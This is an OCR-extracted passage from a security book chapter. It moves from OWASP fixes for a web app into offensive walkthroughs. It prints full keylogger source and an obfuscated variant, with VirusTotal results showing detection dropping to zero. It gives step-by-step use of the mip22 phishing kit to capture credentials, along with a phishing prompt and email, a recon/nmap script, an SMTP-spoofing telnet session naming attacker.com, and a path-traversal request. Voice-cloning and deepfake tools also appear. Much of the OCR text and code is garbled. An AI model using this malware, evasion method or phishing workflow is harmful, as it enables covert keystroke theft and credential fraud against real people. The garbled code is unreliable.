Enforce user ownership check or RBAC in the handler:

js

if (req.session.userId !== req.params.userIld && !req.session.isAdmin) {

return res.status(403).send("rForbidden");

Figure 6.3 Broken access control.

server-side checks to confirm ownership or enforce role restrictions, attackers can exploit this
to access sensitive data they shouldn’t see. This violates the principle of least privilege and can
lead to data leaks or privilege escalation as displayed in Figure 6.3.

Missing function-level access control

Function-level access control involves verifying a user’s permissions before allowing access to
certain routes or actions. The /benefits routes currently allow all logged-in users to view or
update benefits data, even though such operations might be intended only for admin users.
This opens the door for unauthorized changes by regular users. Adding middleware to check
user roles (e.g., isAdmin) ensures that sensitive features are protected based on user roles as

illustrated in Figure 6.4.
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2. [A01:2021] Missing Function Level Access Control

X Issue

, isLoggedIn, benefitsHandler.displayBenefits);
, isLoggedIn, benefitsHandler.updateBenefits);

¢ Benefits might be admin-only data, but there's no role check.

¥ Fix

Uncomment and use:

, isLoggedIn, isAdmin, benefitsHandler.displayBenefits);
, isLoggedIn, isAdmin, benefitsHandler.updateBenefits);

Figure 6.4 Missing function-level access control.

Open redirect/SSRF

The /learn route directly redirects to the URL passed via the query string without validating it.
This creates an open redirect vulnerability, where attackers can craft phishing links that appear
to originate from your domain but redirect users to malicious sites. Additionally, if the backend
makes requests to the provided URL, it could be exploited for server-side request forgery (SSRF).
Both can be prevented by validating and whitelisting allowed URLs as shown in Figure 6.5.

Cross-site scripting (XSS)

XSS occurs when an attacker injects malicious scripts into content that is rendered to other
users. In this app, routes like /profile, /memos, or /research may process and display user
input, but without clear sanitization or output encoding, there’s a risk of reflecting harmful
scripts in the response. This can lead to session hijacking, credential theft, or defacement
of the UI for other users. All user inputs must be sanitized, and outputs should be properly
escaped before rendering in templates, as displayed in Figure 6.6.

Cryptographic failures

Cryptographic failures relate to improper use or a lack of secure encryption mechanisms for
sensitive data. Although not directly visible in this code snippet at Figure 6.7, if the session-
Handler stores passwords in plaintext or lacks proper hashing (like berypt), it’s a serious vul-
nerability. Additionally, failure to enforce HTTPS or use secure cookie attributes can expose
credentials or session tokens over insecure networks.

Security misconfiguration

Security misconfiguration refers to default settings, unnecessary features, or missing security
headers that make the app vulnerable. Figure 6.8 illustrates that this code does not show the
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3. [A10:2021] Server-Side Request Forgery (SSRF) / Open Redirect
X lssue

js O Copy v Edit

app.get( rn', isLoggedIn, (req, res) => {
return res.redirect(req.query.url);

b
e Unvalidated req.query.url allows open redirection to malicious sites.

¥ Fix

Validate and whitelist redirect URLs:

js O Copy 7 Edit

const allowedDomains = [

const redirecturl = req.query.url;

if (allowedDomains.some(domain => redirecturl?.<tartswith(domain))) {

return res.redirect(redirecturl);

L6LNLU L62*2£9¢fn2(ve0) *26uq(,

Figure 6.5 SSRF code vulnerability.

4. [A07:2021] Cross-Site Scripting (XSS)

X lIssue
¢ Any route that renders user input (like memosHandler, profileHandler ) could be vulnerable if input is
not escaped.
® Fix
¢ Sanitize input and escape output:
e Use libraries like pompurify or built-in templating sanitization ( EJS, Pug)

¢ Apply escaping consistently:

IS © Copy © Edit

const xss = require(“xss");

const safeContent = xss(req.body.memo);

Figure 6.6 XSS code vulnerability.

use of tools like Helmet for setting security headers (e.g., CSP and HSTS) or CORS policy
enforcement. Without these, the application may be susceptible to attacks like clickjacking,
MIME sniffing, or cross-origin data leaks. Proper configuration and hardening of the app
environment are essential.
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5. [A02:2021] Cryptographic Failures

X Issue
¢ No indication of proper password hashing or TLS usage in sessionHandler .

¥ Fix
e Ensure:
¢ Passwords are hashed with bcrypt or argon2 .

e App uses HTTPS .

e Session cookies have secure, Httponly, and SameSite flags.

Figure 6.7 Cryptographic failures.

6. [A05:2021] Security Misconfiguration

X Issue

¢ No middleware like helmet for headers.

¢ No CORS policy enforcement.
® Fix
Apply secure middleware globally:

Js ©® Copy © Edit

const helmet = ("helmet");

app.use( 0);

const cors = L ("cors");
app.use(cors({
) : 'https://yourdomain.com’,

tatus: 200

Figure 6.8 Security misconfiguration.

Identification and authentication failures

Identification and Authentication failures include weak session handling or missing protec-
tions for login mechanisms. Figure 6.9 displays the code for no indication of rate limiting on
login attempts, allowing brute-force attacks. Additionally, secure session practices like regen-
erating session IDs after login or using HttpOnly and Secure flags on cookies are not shown.
These oversights can lead to session hijacking or account compromise.

Using vulnerable or outdated components

Using outdated or insecure libraries can introduce known vulnerabilities into your appli-
cation. Code presented in Figure 6.10 does not specify dependency versions, but if any
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7. [A07:2021] Identification and Authentication Failures

X lIssue
js
app.post("/login"”, sessionHandler.handleLoginRequest);

¢ No visible brute-force protection or session regeneration on login.

¥ Fix

e Use express-rate-limit:
Js

const rateLimit = require(“ex
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: S,
message: "Too many
s

app.post("/login”, loginLimiter, sessionHa.

N

-er.handleLoginRequest);

Figure 6.9 Identification and authentication failures.

8. [A06:2021] Vulnerable and Outdated Components

X Issue

* No information about dependency versions. Use of outdated tools (e.g., if BlackEye or Evilginx in your

stack).

¥ Fix

e Use npm audit fix regularly

* Monitor CVEs for critical packages ( express, jsonwebtoken, etc.)

Figure 6.10 Vulnerable and outdated components.

component like express, jsonwebtoken, or a frontend library is outdated or misconfigured, it
could be exploitable. Regularly auditing dependencies using tools like npm audit and staying
updated is crucial to avoid inherited risks.

Insufficient logging and monitoring

Lack of proper logging makes it difficult to detect and respond to security incidents, as shown
in Figure 6.11. This app does not show logging for authentication attempts, data modifica-
tions, or administrative actions. Without logs, attacks such as brute force, privilege escala-
tion, or data exfiltration might go unnoticed. Implementing structured logs with tools like
Winston or Morgan and setting up alerts is vital for operational security.
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9. [A09:2021] Insufficient Logging & Monitoring

X lIssue

¢ No audit logging or login attempt monitoring.

¥ Fix

e Use winston or morgan :

js ©® Copy 7 Edit

const morgan = require(

app.use(morgan( com ))s

e Log:
¢ Login attempts
¢ Admin actions

e Unusual behavior

Figure 6.1 Insufficient logging and monitoring.

10. [A08:2021] Software and Data Integrity Failures

X lIssue
e If tutorialRouter or memosHandler loads user content/scripts without sanitization, it could introduce
RCE risks.

¥ Fix

¢ Never evaluate or require() untrusted inputs.

¢ Validate file uploads, content injections, and dynamic rendering.

Figure 6.12 Software and data integrity failures.

Software and data integrity failures

If the app allows dynamic inclusion of user content, scripts, or external modules (via the
tutorialRouter or memosHandler), and these are not validated, attackers might introduce
malicious code or tamper with the app’s behavior. This could lead to remote code execution
or data corruption, as presented in Figure 6.12. It is important to verify the integrity of soft-
ware dependencies and validate all dynamically loaded content.

6.4 Al FOR MALWARE CREATION

Attackers have started to leverage LLMs to mutate malware payloads into new variants that
evade traditional signature-based antivirus and static analysis. As an example, Figure 6.13
presents the Keylogger code written in Python or any other programming language that is
ingested into an Al model. The Python script performs the same function yet changes the
variable names, logic structure, and encodes strings in base64. This makes the code look less
obvious by wrapping it in multiple functions as a prompt. Now the attacker has a new vari-
ant with the same behavior but a different structure, which breaks static signature detection



Al-powered dark security 159

# basic_keylogger.py
import pynput.keyboard

lgg = **
def on_press(key):
global log
try:
log += key.char
except AttributeError:
log += " [" + str(key) + "] "

if len(log) > 50:
with open("keylog.txt", "a") as f:
f.write(log + "\n")
log = =%

listener = pynput.keyboard.Listener(on_press=on_press)

listener.stact()

listener.join()

Figure 6.13 Raw Keylogger code.

L—( venv)—(kali® kali)-[~]
$ mousepad key_log.py

Es( venv)—(kali® kali)-[~]

pyinstaller --onefile --noconsole key_log.py

2485 INFO: PyInstaller: 6.11.1, contrib hooks: 2025.1
2486 INFO: Python: 3.13.2
2493 INFO: Platform: Linux-6.12.25-amd64-x86_64-with-glibc2.41
2493 INFO: Python environment: /usr
2494 INFO: wrote /home/kali/key_log.spec
2546 INFO: UPX is available but is disabled on non-Windows due to known compatibility problems.
2548 INFO: Module search paths (PYTHONPATH):
['/usr/lib/python313.zip",
'/usr/lib/python3.13",
'/usr/lib/python3.13/1ib-dynload"’,
'/usr/local/lib/python3.13/dist-packages’,
'/usr/lib/python3/dist-packages’,
'/usr/lib/ovthon3/dist-packaees/setuotools/ vendor'.

Figure 6.14 Run Pylnstaller.

on popular malware detection platforms like VirusTotal. This process can be repeated for the
mutation multiple times via GPT as well.

Converting this code into a binary executable format can be performed using
“PylInstaller” in Kali Linux or a Windows environment, as shown in Figure 6.14. Then,
run the corresponding command uploads the executable file to gather the key typed on
the keyboard.

Figure 6.15 displays results of the binary Keylogger file when uploaded to VirusTotal to
check its signature and hashes, which confirms the file hash as malicious, as pointed out by
4 out of 65 security vendors.

This means the code is malicious and has been detected. To ensure that the Keylogger code
performs the same function, attackers can change variable names, logic structure, and encode
the strings in Base64. To make the code look less obvious, attackers can wrap the code in
multiple functions. This code can be made advanced and information specific to eliminate
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(1) 4/65 security vendors flagged this file as malicious

12baa2c717aabd257573ba2d098794c373d02f4e7c8199f78db34d438998e5a6

key_log
Community

Score elf 64bits

Figure 6.15 VirusTotal results.

import base64
from pynput import keyboard

imported_keylogger = base64.b64decode("a2V5bGInLnR4dA==").decode() # "keylog.txt"
buffer = ""

def decode_b64(data):
return base64.b64decode(data).decode()

def write_output(contents):
output_file = decode_b64(b'a2v5bGInLnR4dA==") # "keylog.txt"

with open(output_file, "a") as handler:
handler.write(contents + decode_b64(b'Cg==")) # "\n"

def handle_key(pressed):
global buffer
try:
temp = pressed.char
except AttributeError:
temp = " [" + str(pressed) + "] "
buffer += temp

if len(buffer) > 50:
write_output(buffer)
buffer_clear()

def buffer_clear():
global buffer
buffer = "*

def wrap_listener():
return keyboard.Listener(on_press=lambda key: handle_key(key))

def main_launcher ()|
handler = wrap_listener()
handler.start()
handler.join()

if _ name__ == "_ main__":
main_launcher()

Figure 6.16 Obfuscated Keylogger code.

useless information by customizing the prompt to modify this Keylogger so that it only starts
logging after the user opens a window with a title containing “email” or “bank” as presented
in Figure 6.16.

Converting the newly obfuscated Keylogger Python code into an executable file, we
can upload this file to VirusTotal to validate any malicious signatures and hash detection.
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Figure 6.17 confirms that the file is now benign and not detected by any security vendor, even
though it performs the same function as before.

6.5 Al FORAUTOMATED PHISHING

Al can be utilized for automated phishing by first selecting a target to gather user information
using passive and active recon techniques. Providing this information to the Al tool, which
extracts target interests and job role information, the Al model can draft a phishing email
based on the scenario. For example, if the target works at an MINC, attackers will provide
an input prompt as “Write a convincing email pretending to be the target’s IT department
about a password expiry. Include urgency and a link to a verification page.” Next, by cloning
a legitimate site and personalizing it using Al for deception, the target user can be coaxed
to access the fake site interface using tools like Mip22 or Blackeye. Figure 6.18 displays the
initial step of cloning the mip22 git repository.

Executing the “mip22” to navigate to “Attack Default” by pressing 1, select the brand’s
website to clone and select a web server accordingly. Then send the fake URL to the victim,
wait for the user to open the webpage, as shown in Figure 6.19.

As soon as the victim opens the webpage, the attacker gets the initial details like Country,
Region, City, Browser used, and IP Address that are also saved in a text file (Fingerprint.txt)
as shown in Figure 6.20.

When the victim enters the user ID and password credentials, hits the submit button, the
attacker again receives those credentials in a plaintext file (Data.txt), as shown in Figure
6.21. For more accurate operations, attackers are known to use Al models to recreate origi-
nal websites to host them on free or even paid domain portals.

Figure 6.22 displays the embedded phishing link in this type of email to bait the user and
trick them into credential theft or identity theft.

@ No security vendors flagged this file as malicious

d28f592¢05975dddb5460a017007f27b23e5160e6a3c3b2710235e9c1ec505dd

key_log
Community

Score clf 64bits sets-process-name

Figure 6.17 VirusTotal results.

e - - ——_

L$ git clone https://github.com/makdosx/mip22.git

Cloning into 'mip22' ...

remote: Enumerating objects: 1453, done.

remote: Counting objects: 100% (381/381), done.

remote: Compressing objects: 100% (179/179), done.
“Cceiving objects: 1% (24/1453), 788.00 KiB | 97.00 KiB/s

Figure 6.18 Clone repository.
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FAY  Adobe ID

For your protection, please verify your identity.

[ |i‘ﬂ”/ﬁdjva

Password

Not a member yet? Get an Adobe ID

Forgot password?

Want to use your company or school account?

Sign in with an Enterprise ID

Or sign in with

Figure 6.19 Fake webpage.

[-]
[-]
[-]
[-]
[-]
(-]
[-]
[=]
=)
[-]
[-]
[-]

Successfully Hosted in : http://127.0.0.1:8080

Waiting for Victim fingerprints and Login Info.. Ctrl + C to exit...

Fingerprints Victim Found!
Victim Fingerprints.

IP: 127.0.0.1

Full Date: 03-08-2025
Country:

Region:

City:

User-Agent: Mozilla/5.0
0S System: Linux

Saved in : fingerprints.txt

Figure 6.20 Victim details.



Al-powered dark security

163

Figure 6.21

Figure 6.22

Figure 6.23

[-] Account : demo
[-] Password : abcpl2345
[-] Saved in : data.txt

[-] waiting for Next Fingerptints and Login Info, Ctrl + C to exit. [J

Captured credentials.

Subject: Urgent: Q2 Financial Report Review Needed

Hi Ravi,

Could you please take a quick look at the Q2 financial report before our 3 PM meeting today?
Let me know if you have any concerns.

Best,
Saksham
Chief Financial officer

SecureBank Ltd.

[view Report] » (malicious link)

Sample email.

[j—(kaliQBkali)—[~]
$ go install github.com/tomnomnom/assetfinder@latest
go: downloading github.com/tomnomnom/assetfinder vo.1.1

[:—(kaliQBkali)—[~]
$ assetfinder tesla.com
Command 'assetfinder' not found, but can be installed with:
sudo apt install assetfinder
Do you want to install it? (N/y)y
sudo apt install assetfinder
[sudo] password for kali:
Installing:
assetfinder

Installing tools.

6.6 LLM-POWERED SUBDOMAIN ENUMERATION & RECON
AUTOMATION

Attackers use an LLM like GPT-4 or Claude to automate reconnaissance of a target by
combining subdomain enumeration tools with Al-based output analysis. As an example,
download and install “Assetfinder” using Go and “httprobe” to check the activeness of the
subdomains as shown in Figure 6.23.

Run the “Assetfinder” on demo web domains to avoid any legal consequences, save the
output subdomains to a text file as shown in Figure 6.24.

Filter out active subdomains using “httprobe” to save the output in a text file, as shown in
Figure 6.25.

Attackers automate scanning of these active subdomains using a Bash or PowerShell script
to check for open ports. The script utilizes the “nmap” tool, as shown in Figure 6.26 to save
the output results to nmap_domain.txt file separately.
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l_—s( kali® kali)-[~]

assetfinder --subs-only webscantest.com > test_sub.txt

L_( kali® kali)-[~]

$ cat test_sub.txt
hackazon.webscantest.com
hackme.webscantest.com
secure.webscantest.com
w2 .vebscantest.com
wivet.webscantest.com
wmv.webscantest.com

vaww .webscantest.com
vebscantest.com
webscantest.com

vawy .webscantest.com
hackazon.webscantest.com
vawv . hackazon.webscantest.com

Figure 6.24 Subdomains found using Assetfinder.

L—(kali@ kali)-[~]
$ cat test_sub.txt | httprobe > alive.txt

,_—(kali@ kali)-[~]

$ cat alive.txt
https://webscantest.com
https://vww.webscantest.com
https://hackazon.webscantest.com
https://vww.hackazon.webscantest.com
https://webscantest.com
http://vaw.webscantest.com
https://vaw.webscantest.com
http://hackazon.webscantest.com
http://webscantest.com
http://vww.hackazon.webscantest.com
http://vaaw.webscantest.com
http://webscantest.com
https://hackazon.webscantest.com
http://hackazon.webscantest.com

Figure 6.25 Filtered active subdomains.

After scanning subdomains and open ports, the AT model checks for corresponding port
vulnerabilities and plans server attacks, as displayed in Figure 6.27.

The subdomain blog.webscantest.com exposes HTTP on port 80, served by Apache 2.4.29.
This version is known to be vulnerable to multiple issues, such as CVE-2017-15710, which
allows access restriction bypass via mod_auth, and CVE-2018-1312, where improper vali-
dation of client certificates can be exploited. Since HTTP traffic is unencrypted, it becomes
an easy target for MITM attacks, credential sniffing, and content injection. For instance, an
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#!/bin/bash

for domain in $(cat alive.txt); do
ip=$(dig +short g$domain | tail -n1)
if [ I -z "$ip" ]; then
echo "[*] Scanning $domain ($ip)..."
omap -sV -T4 $ip -oN "nmap_$domain.txt"
fi
pone

Figure 6.26 Sample Nmap script.

- blog.webscantest.com » 80 (Apache 2.4.29), 443 (TLS 1.2)
- mail.webscantest.com » 25 (Postfix), 110 (POP3)
- api.webscantest.com > 8080 (Jetty), 8443 (unknown TLS)

Figure 6.27 Automated vulnerability prompts.

GET /login HTTP/1.1 SSLProtocol all -SSLv3 -TLSvl -TLSvi.1

Host: blog.webscantest.com SSLCipherSuite HIGH: !aNULL:!MD5: !3DES
Authorization: Basic dXNlcjpwYXNzd29yZA==

Figure 6.28 Blog vulnerabilities.

attacker could intercept the request displayed in Figure 6.28. On port 443, the server uses
HTTPS with TLS 1.2, which, while still widely used, is considered outdated compared to
TLS 1.3. If misconfigured with weak cipher suites, the server could be exposed to attacks like
BEAST, LUCKY13, POODLE, or RC4-based exploits. A recommended mitigation would be
updating the Apache configuration to disable insecure protocols and ciphers.

The mail.webscantest.com subdomain runs Postfix on port 25 for SMTP, which, if not
properly configured, can act as an open relay. This allows attackers to send spam emails
through the server. Furthermore, if the server does not enforce STARTTLS or secure alterna-
tives, emails and credentials are transmitted in plain text, exposing them to eavesdropping.
A known vulnerability, CVE-2020-35662, highlights how SMTP smuggling can result in
spoofed email delivery. An attacker might test this by connecting via Telnet, as displayed
in Figure 6.29. This could lead to successful spoofing if protections like SPF, DKIM, and
DMARC are not in place. Port 110 on the same subdomain exposes the POP3 protocol,
which is largely outdated. If STARTTLS is not enforced, login credentials are transmitted in
plaintext, making them vulnerable to interception. For example, using packet capture tools
like Wireshark Figure 6.29 confirms the sniffed password.

The api.webscantest.com subdomain has services running on port 8080, served by Jetty.
This server is known to be vulnerable to CVE-2021-34429, which allows path normaliza-
tion to bypass a flaw that can let attackers access unauthorized directories or endpoints.
For example, a malicious request could give an attacker unintended access to sensitive parts
of the web application if proper path sanitization is not in place. Additionally, Jetty servers
may unintentionally expose stack traces or debugging endpoints, which can leak sensitive
system details. If the API endpoints lack proper authentication or rate limiting, the server
also becomes prone to API abuse, Insecure Direct Object Reference (IDOR), or even Remote
Code Execution (RCE) in legacy configurations. On port 8443, the server uses an unknown
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telnet mail.webscantest.com 25
EHLO attacker.com
MAIL FROM:<spoof@domain.com>
RCPT TO:<victim@target.com>
DATA
Subject: Spoofed!
This email bypassed SPF. USER alice
PASS password123

Figure 6.29 Mail vulnerability.

" , openssl s_client -connect api.webscantest.com:8443
GET /api/../../admin HTTP/1.1 iyt

Host: api.webscantest.com:8080 verify return code: 18 (self signed certificate)

Figure 6.30 API vulnerability.

€% Image To Video @ Toxt To Vidoo PA Toxt To Imago JY Toxt To Music

Figure 6.31 Media.io.

TLS configuration, which poses a significant risk if it’s using weak ciphers, self-signed cer-
tificates, or misconfigured protocols. This port is used for administrative interfaces or web
applications, and if exposed without protection, it can serve as an easy entry point for attack-
ers, as displayed in Figure 6.30.

6.7 LLM-POWERED DEEP FAKE

Media.io

Media.io is an all-in-one online platform that offers a wide range of Al tools for creating
and editing multimedia content directly from a web browser. Designed for both beginners
and professionals, it provides easy-to-use features for generating voiceovers, cloning voices,
enhancing videos, converting text to audio or video, and editing music and images. Users can
upload voice samples to create realistic voice clones, generate speech from text in various
languages, and fine-tune output with options for pitch, tone, and speed. The platform also
supports advanced video editing features like Al dubbing, background noise removal, sub-
title generation, and video upscaling. For audio projects, users can trim, merge, change voice
effects, or remove vocals from songs without needing complex software or technical skills.
With its clean interface and fast processing, Media.io is a useful tool for content creators,
educators, marketers, and teams looking to produce high-quality media efficiently and effort-
lessly as illustrated in Figure 6.31.
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OpenArt

OpenArt is an online creative platform that enables users to generate and modify images using
text descriptions or existing pictures. It offers a range of features, including style customiza-
tion, background changes, inpainting, upscaling, and image enhancement. The site supports
diverse artistic styles, from realistic photography to illustrations and abstract designs, allow-
ing both casual users and designers to refine their creations with built-in editing tools. It also
includes options for converting sketches into images, transforming pictures into videos, and
experimenting with custom styles, making it a versatile space for turning ideas into unique
visual works.

Figure 6.32 illustrates OpenArt’s image creation feature, which allows users to produce
realistic and contextually relevant visuals from simple descriptions or reference images. This
capability enables the generation of lifelike scenes, objects, and characters that closely resem-
ble real-world elements, making the output both visually appealing and relatable. Users can
fine-tune the details, such as lighting, textures, colors, and expressions, to match specific
themes or creative visions. The tool supports a variety of artistic styles, ensuring flexibility for
different use cases from marketing materials and storytelling to personal art projects, while
maintaining a high degree of realism and emotional connection in the generated images.

Figure 6.33 showcases the chat feature, which enables users to interactively modify an
uploaded image through text-based prompts. This functionality combines image editing with
conversational input, allowing users to describe the changes they want, such as altering back-
grounds, adjusting colors, adding or removing objects, or enhancing specific details, and see
the results applied directly to the image. By using natural language instructions, the process
becomes intuitive and accessible, eliminating the need for complex editing tools. This interac-
tive approach not only speeds up the creative workflow but also allows for iterative refine-
ment, as users can continue giving additional prompts until the image matches their vision.
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Figure 6.32 Al Image creation.
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Figure 6.33 Chat option.

Select a type of model
Name your model
Describe the style

Upload 4~100 image samples

1 Uploaded Images

Train your model

Figure 6.34 Customized Al model.

Figure 6.34 highlights the “Train Your Own Model” feature in Open Art, which guides
users through the process of creating a personalized image generation model. The interface
presents a step-by-step workflow, starting with selecting the type of model to be trained,
followed by assigning a name to the project for easy identification. Users then describe the
desired artistic style or characteristics, providing clear guidance on the visual output the
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model should produce. The final step involves uploading between 4 and 100 sample images
that represent the intended style or subject matter. Once these steps are completed, the plat-
form uses the provided inputs to train a custom model capable of producing images that
align with the user’s unique creative vision. This feature empowers creators to develop tai-
lored models for specific themes, aesthetics, or branding requirements.

Figure 6.35 illustrates the “Image to Video” option available in OpenArt, a feature that
transforms static images into dynamic, animated visuals. By using this tool, users can take
any single image, whether created within the platform or uploaded externally, and convert
it into a short video sequence with motion effects, smooth transitions, and enhanced visual
depth. This functionality allows for creative storytelling, turning still artwork into engaging,
eye-catching content suitable for social media, presentations, or promotional material. Users
can often control aspects such as animation style, motion intensity, and duration, enabling
them to bring their ideas to life in a more immersive and visually appealing format.

In addition to its core tools, Open Art offers creative possibilities such as producing vlogs
and music videos, enabling users to combine visuals, motion, and audio into compelling
multimedia projects. These features allow storytellers, content creators, and artists to craft
engaging narratives or artistic expressions with minimal technical barriers. Most notably,
the platform provides the flexibility to create entirely from scratch, giving users complete
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Figure 6.35 Image to video.



170 Beyond The Invisible Nexus
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Figure 6.36 Miscellaneous features.

freedom to bring their imaginative ideas to life. Whether it’s designing a concept inspired
by curiosity, experimenting with unique styles, or blending different media forms, Open Art
empowers users to explore limitless creative directions and turn even abstract inspirations
into tangible, shareable works as displayed in Figure 6.36.

OnionMapper

OnionMapper is a modern web-based tool designed to classify and analyze .onion websites
on the dark web using advanced machine learning techniques. It features an intuitive user
interface and integrates seamlessly with the Tor network, allowing users to navigate hidden
services securely and anonymously. Aimed at researchers, cybersecurity analysts, and dark
web enthusiasts, OnionMapper supports responsible exploration by offering insights into the
structure and content of dark web domains without compromising user privacy. Clone the
repo using the git clone command as shown in Figure 6.37.

Create a Python virtual environment and activate it after creating it, as shown in Figure 6.38.

E(kali@kali){ﬂ
$ git clone https://github.com/Ibrahim-sayys/OnionMapper.git]]

Cloning into 'OnionMapper’ ...

remote: Enumerating objects: 129, done.

remote: Counting objects: 100% (129/129), done.

remote: Compressing objects: 100% (101/101), done.

remote: Total 129 (delta 50), reused 94 (delta 20), pack-reused @ (from 0)
Receiving objects: 100% (129/129), 903.92 KiB | 129.00 KiB/s, done.
Resolving deltas: 100% (50/50), done.

Figure 6.37 Git clone OnionMapper.

[:—(kaIiGBkali)—[~/0nionMapper]
$ python -m venv venv

[:—(kaliﬁikali)—[~/0nionMapper]
$ source venv/bin/activate

[:—(venv)—(kaliﬁikali)—[~/0nionMapper]
Y |

Figure 6.38 Python Virtual environment.
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Figure 6.39 shows the installation process of the requirements needed to run OnionMapper.

Start the Tor services of the machine as shown in Figure 6.40. Without Tor the user won’t
be able to access the .onion sites. Run the application and open the localhost URL on Port
5000, or simply click on the URL while pressing the Ctrl key.

The user will be redirected to the default browser with the user interface as displayed in
Figure 6.41.

Add the .onion link in the first field and select the ML model from the dropdown in the
form. The result across different ML models may or may not vary depending on the .onion
link and the limitation of the dataset available with the tool, as shown in Figure 6.42.

|__—( venv)—(kali® kali)-[~/OnionMapper]
$ pip install -r requirements.txt [j

Collecting beautifulsoup4~=4.13.A (from -r requirements.txt (line 1))

Using cached beautifulsoup4-4.13.4-py3-none-any.whl.metadata (3.8 kB)
Collecting requests~=2.32.3 (from -r requirements.txt (line 2))

Using cached requests-2.32.4-py3-none-any.whl.metadata (4.9 kB)
Collecting 1xml (from -r requirements.txt (line 3))

Using cached 1xml-6.0.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28
Collecting pysocks (from -r requirements.txt (line 4))

Using cached PvSocks-1.7.1-pv3-none-any.whl.metadata (13 kB)

Figure 6.39 Install requirements.

( )-(kali® kali)-[~/OnionM ]
E(venv) (kali® kali)-[~/OnionMapper] L— gizzonji,(:p;_py(a S
$

sudo systemctl start tor e Serving Flask app 'app’
* Debug mode: on

* Running on http://127.0.0.1:5000
Press CTRL+C to quit

* Restarting with stat

Figure 6.40 Start Tor service and App.

Enter Onion URL:

e.g. abcdefgl1234567.onion

Select Model:

Predict Category

Figure 6.41 Tool’s Ul



172 Beyond The Invisible Nexus

Enter Onion URL:

http://t43fsf65omvf7grt46wit2eoSjbj3hafy

Select Model:

Naive Bayes

Predict Category

Predicted Category (Naive Bayes):
general

Keywords used: ammo, guns, unused,
unregistered, purchased, also, product, price,

Enter Onion URL:

( ]
http://t43fsf65omvf7grt46wit2eoSjbj3hafy
)

Select Model:

Random Forest

Predict Category

Predicted Category (Random Forest):
leaks

Keywords used: ammo, guns, unused,
unregistered, purchased, also, product, price,

quantity, rounds quantity, rounds

Figure 6.42 Input and output.

Robin

Robin is an Al-driven tool designed to streamline dark web OSINT investigations. By leverag-
ing LLMs, it enhances the investigative process through intelligent query refinement, efficient
filtering of results from dark web search engines, and the generation of concise, contextual
summaries. Robin aids analysts in quickly identifying relevant information while navigating
the dark web securely and effectively, making it a valuable asset for cybersecurity, threat
intelligence, and digital forensics professionals. Clone the GitHub repository as shown in
Figure 6.43.

Navigate to the robin directory and list all files and folders present, and add the API keys
in the config.py file so that you can use the Al models effectively, as displayed in Figure 6.44.

The first option is to install using Docker by building the Docker image in the current
directory. For this run, this command with root privilege as shown in Figure 6.45.

Run the image by specifying the UI port and UI localhost; the Tor services will run auto-
matically as displayed in Figure 6.46.

Figure 6.47 displays the localhost URL on which the tool is running, which displays the
search bar in which to enter the keywords to search.

Figure 6.48 displays the Al models listing and the thread adjustment options available for
Robin.

[:—(kaliﬁikali)-[~/Downloads]

$ git clone https://github.com/apurvsinghgautam/robin.git
Cloning into ‘robin’ ...

remote: Enumerating objects: 257, done.

remote: Counting objects: 100% (77/77), done.

remote: Compressing objects: 100% (17/17), done.

Receiving objects: 14% (37/257), 4.20 MiB | 126.00 KiB/s

Figure 6.43 Clone the Robin repository.
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’_—( kali® kali)-[~/robin]
$ cat config.py

import os

from dotenv import load_dotenv

load_dotenv()

# Configuration variables loaded from the .env file
OPENAI_API_KEY = os.getenv("OPENAI_API_KEY")
GOOGLE_API_KEY = os.getenv("GOOGLE_API_KEY")
ANTHROPIC_API_KEY = os.getenv("ANTHROPIC_API_KEY")

Figure 6.44 Add API key.

E(kali@kali)-b/robin]

$ sudo docker build -t robin .

[sudo] password for kali:

[+] Building 2.9s (1/2)

= [internal] load build definition from Dockerfile

= = transferring dockerfile: 530B

= [internal] load metadata for docker.io/library/python:3.10-slim-bullseye

Figure 6.45 Build Docker image.

[:—(kallgikall) [~/robin]
sudo docker run --rm \
"“(pwd)/.env:/app/.env" \
—p 8501:8501 \
robin ui --ui-port 8501 --ui-host 0.0.0.0
Starting Tor ...

Figure 6.46 Run Robin Docker.

Figure 6.47 Robin URL.

The second method is by activating the Python virtual environment, as shown in Figure
6.49.

Install the tool’s requirements using the Python package manager “pip” as illustrated in
Figure 6.50.

Figure 6.51 displays the query on Robin tool with the user executing the ‘main.py’ file by
specifying the Al model, query (keyword), and the thread count.
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gptdo
gpt-4.1
claude-3-5-sonnet-latest

Scraping Threads

llama3.1

gemini-2.5-flash

Figure 6.48 Robin Al models and threads.

I__( kali® kali)-[~/robin]
$

python -m venv venv

l__( kali® kali)-[~/robin]
$

source venv/bin/activate

[:—(venv)—(kaIiGBkali)—[~/robin]
$ 1

Figure 6.49 Python virtual environment.

E(venv)—(kali@I(ali)—[~/robin]
$ pip install -r requirements.txt
Collecting bs4 (from -r requirements.txt (line 1))
Using cached bs4-0.0.2-py2.py3-none-any.whl.metadata (411 bytes)
Collecting vaspin (from -r requirements.txt (line 2))

Figure 6.50 Install requirements.

L—(venv)—(kali@I(ali)—[~/robin]
$ python main.py -m gpt-4.1 -q "ransomware payments" -t 12|

Figure 6.51 Run the Python file.

6.8 LLM-POWERED VOICE CLONING

Echovox

Navigate to Echovox’s website (https:/studio.echovox.in). Sign up with them and get access
to various features the website offers. EchoMind is an Al-powered content research and
writing tool designed to assist users in generating high-quality written material effortlessly.
Whether you’re working on articles, scripts, blog posts, or research content, EchoMind lever-
ages advanced natural language processing to streamline ideation and writing, saving time
while improving productivity and creativity.
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EchoCapture serves as a powerful audio recording tool integrated with a built-in script
reader. It is ideal for users who need to record voice content while following a script, such
as podcasters, voice-over artists, or content creators. The synchronized script display helps
maintain flow and accuracy during recording sessions. EchoVoices enables high-quality text-
to-speech conversion and advanced voice cloning capabilities. It allows users to generate
natural-sounding voiceovers from text and even replicate specific voice tones or identities.
This makes it particularly useful for personalized narration, character creation, or branded
audio experiences.

EchoCraft is an audio enhancement and editing tool that empowers users to fine-tune
and polish their recordings. Whether it’s removing noise, adjusting pitch, or adding effects,
EchoCraft provides a user-friendly interface for improving overall audio quality, making
it suitable for both amateurs and professionals. EchoTranscribe instantly converts spoken
audio into accurate text, providing a fast and reliable speech-to-text solution, as shown in
Figure 6.52. It is an essential tool for transcribing meetings, interviews, podcasts, or lectures,
and significantly reduces the time and effort typically required for manual transcription.

To clone a voice using EchoVoices, simply enter the sentence you want the cloned voice to
speak and click “Generate Audio.” Next, enable the Voice Cloning option and upload a clear
sample of the voice you’d like to replicate. Once uploaded, EchoVoices will process the input
and generate a highly realistic audio output that mirrors the original speaker’s tone, pitch,
and speaking style, delivering lifelike, natural-sounding results with precision, as shown in
Figure 6.53.

